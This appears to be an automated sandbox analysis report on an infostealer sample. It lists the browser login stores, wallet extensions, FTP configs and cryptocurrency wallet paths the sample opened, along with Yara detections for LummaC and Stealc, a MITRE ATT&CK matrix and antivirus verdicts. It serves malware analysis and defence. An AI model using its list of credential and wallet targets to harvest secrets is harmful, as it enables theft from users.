Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2227913315.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2185153441.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2227693776.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212713224.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2197662710.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2226397549.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2200551124.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212770772.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184078982.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2197538360.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2197338181.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2198294386.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2226367127.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1832, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 2155b53b29.exe PID: 7104, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 1832, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 35.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000030.00000002.3148936409.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.3060062755.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2886563084.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2706765713.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.2683900761.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2811424197.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3159738458.000000000125B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2712170714.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2723464783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2865797092.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2813742267.000000000131B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2887571648.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: de379087e7.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	12 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	5 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\1001161001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001161001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001161001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	45%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
